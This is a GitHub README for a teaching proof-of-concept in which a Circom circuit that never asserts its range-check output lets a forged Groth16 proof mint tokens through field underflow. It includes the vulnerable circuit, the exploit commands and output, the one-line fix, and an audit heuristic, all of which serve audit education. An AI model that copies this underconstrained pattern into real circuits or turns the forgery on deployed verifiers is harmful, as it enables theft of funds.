Skip to content

Loccturno/zk-underflow-exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

ZK Underflow Exploit — Foundry PoC

A reproducible proof-of-concept demonstrating how a missing constraint in a Circom circuit allows a malicious prover to generate a Groth16 proof that "transfers" more tokens than they own, producing a balance close to 2^254 via finite-field underflow. The malicious proof is accepted by both the JavaScript verifier and the on-chain Solidity verifier emitted by snarkjs.

TL;DR: One missing line (check.out === 1;) lets the prover mint approximately 1.7 × 10⁷⁶ tokens from an account holding 100.

The Bug

template BalanceTransfer() {
    signal input oldBalance;
    signal input amount;
    signal output newBalance;

    component check = GreaterEqThan(64);
    check.in[0] <== oldBalance;
    check.in[1] <== amount;
    // BUG: missing `check.out === 1;`

    newBalance <== oldBalance - amount;
}

The GreaterEqThan template computes whether oldBalance >= amount, but the result is never constrained. The circuit treats it as a dead wire. Combined with the second issue — that subtraction in F_p produces p - k instead of failing — the prover can submit oldBalance=100, amount=200 and obtain newBalance = p - 100, which the verifier accepts as cryptographically valid.

The Two-Layer Problem

  1. Underconstrained component: check.out is computed but never asserted. This is the most common Circom bug class in the wild.
  2. Field underflow: In BN254's scalar field, there are no negative numbers. 100 - 200 evaluates to 21888242871839275222246405745257275088548364400416034343698204186575808495517, which is p - 100.

A correct circuit must use a range check whose output is constrained.

The Fix

check.out === 1;   // <-- the line that turns it into a real constraint

One line. The same number of non-linear constraints after compiler optimisation (the compiler had already allocated wires; the fix repurposes the existing check.out signal as a real constraint instead of dead computation).

Reproduction

Requirements

  • Node 20+, npm
  • Foundry (forge)
  • Rust + Cargo
  • Circom 2.x compiled from source
  • snarkjs (npm install -g snarkjs)

Build

# 1. Install dependencies
npm install

# 2. Compile circuits
cd circuits/vulnerable && circom BalanceTransfer.circom --r1cs --wasm --sym -o . && cd ../..
cd circuits/fixed      && circom BalanceTransfer.circom --r1cs --wasm --sym -o . && cd ../..

# 3. Powers of Tau (one-time, for both circuits)
cd ptau
snarkjs powersoftau new bn128 12 pot12_0000.ptau -v
snarkjs powersoftau contribute pot12_0000.ptau pot12_0001.ptau --name="c1" -e="$(head -c 32 /dev/urandom | base64)"
snarkjs powersoftau beacon pot12_0001.ptau pot12_beacon.ptau 0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f20 10 -n="Final Beacon"
snarkjs powersoftau prepare phase2 pot12_beacon.ptau pot12_final.ptau -v
cd ..

# 4. Per-circuit setup (vulnerable)
snarkjs groth16 setup circuits/vulnerable/BalanceTransfer.r1cs ptau/pot12_final.ptau circuits/vulnerable/BalanceTransfer_0000.zkey
snarkjs zkey contribute circuits/vulnerable/BalanceTransfer_0000.zkey circuits/vulnerable/BalanceTransfer_final.zkey --name="c1" -e="$(head -c 32 /dev/urandom | base64)"
snarkjs zkey export verificationkey circuits/vulnerable/BalanceTransfer_final.zkey circuits/vulnerable/verification_key.json
snarkjs zkey export solidityverifier circuits/vulnerable/BalanceTransfer_final.zkey src/Verifier.sol

Run the Exploit

# Honest case (sanity)
node circuits/vulnerable/BalanceTransfer_js/generate_witness.js \
  circuits/vulnerable/BalanceTransfer_js/BalanceTransfer.wasm \
  inputs/honest.json proofs/honest_witness.wtns
snarkjs groth16 prove circuits/vulnerable/BalanceTransfer_final.zkey proofs/honest_witness.wtns proofs/honest_proof.json proofs/honest_public.json
snarkjs groth16 verify circuits/vulnerable/verification_key.json proofs/honest_public.json proofs/honest_proof.json
# → OK, newBalance = 70

# Exploit
node circuits/vulnerable/BalanceTransfer_js/generate_witness.js \
  circuits/vulnerable/BalanceTransfer_js/BalanceTransfer.wasm \
  inputs/exploit.json proofs/exploit_witness.wtns
snarkjs groth16 prove circuits/vulnerable/BalanceTransfer_final.zkey proofs/exploit_witness.wtns proofs/exploit_proof.json proofs/exploit_public.json
snarkjs groth16 verify circuits/vulnerable/verification_key.json proofs/exploit_public.json proofs/exploit_proof.json
# → OK, newBalance = p - 100  (the exploit)

Run the Foundry Test

The Solidity verifier emitted by snarkjs is the production-style on-chain verifier. The test feeds it the same malicious proof and demonstrates on-chain acceptance.

forge test -vv

Expected output: [PASS] test_VulnerableVerifier_AcceptsUnderflowProof() (gas: 203783) Logs: Attacker claimed newBalance: 21888242871839275222246405745257275088548364400416034343698204186575808495517 This is p - 100, i.e. -100 mod p. Field underflow accepted as 'valid balance'.

Confirm the Fix Blocks the Exploit

# Witness generation now fails on malicious input
node circuits/fixed/BalanceTransfer_js/generate_witness.js \
  circuits/fixed/BalanceTransfer_js/BalanceTransfer.wasm \
  inputs/exploit.json proofs/fixed_exploit_witness.wtns
# → Error: Assert Failed (line 25: check.out === 1)

Audit Heuristic

When reading a Circom circuit:

For every component X = SomeTemplate();, scan the next ~10 lines for a constraint involving X.out. If none exists, this is a candidate bug.

This pattern alone catches a large fraction of real-world underconstrained bugs. The same logic applies to IsZero, IsEqual, LessThan, Num2Bits, and any sub-circuit whose output represents a verification result.

What This Isn't

This is a minimal teaching PoC, not a production exploit on a deployed protocol. Real systems built on Circom (Tornado Cash, Semaphore, zkSync circuits) include additional checks (Merkle proofs, nullifiers, public input binding) that this circuit deliberately omits to keep the lesson focused.

References

License

MIT

About

ZK underflow exploit PoC: missing constraint in Circom circuit allows field underflow accepted by Groth16 verifier (on-chain + off-chain). Includes vulnerable circuit, fix, and Foundry test.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors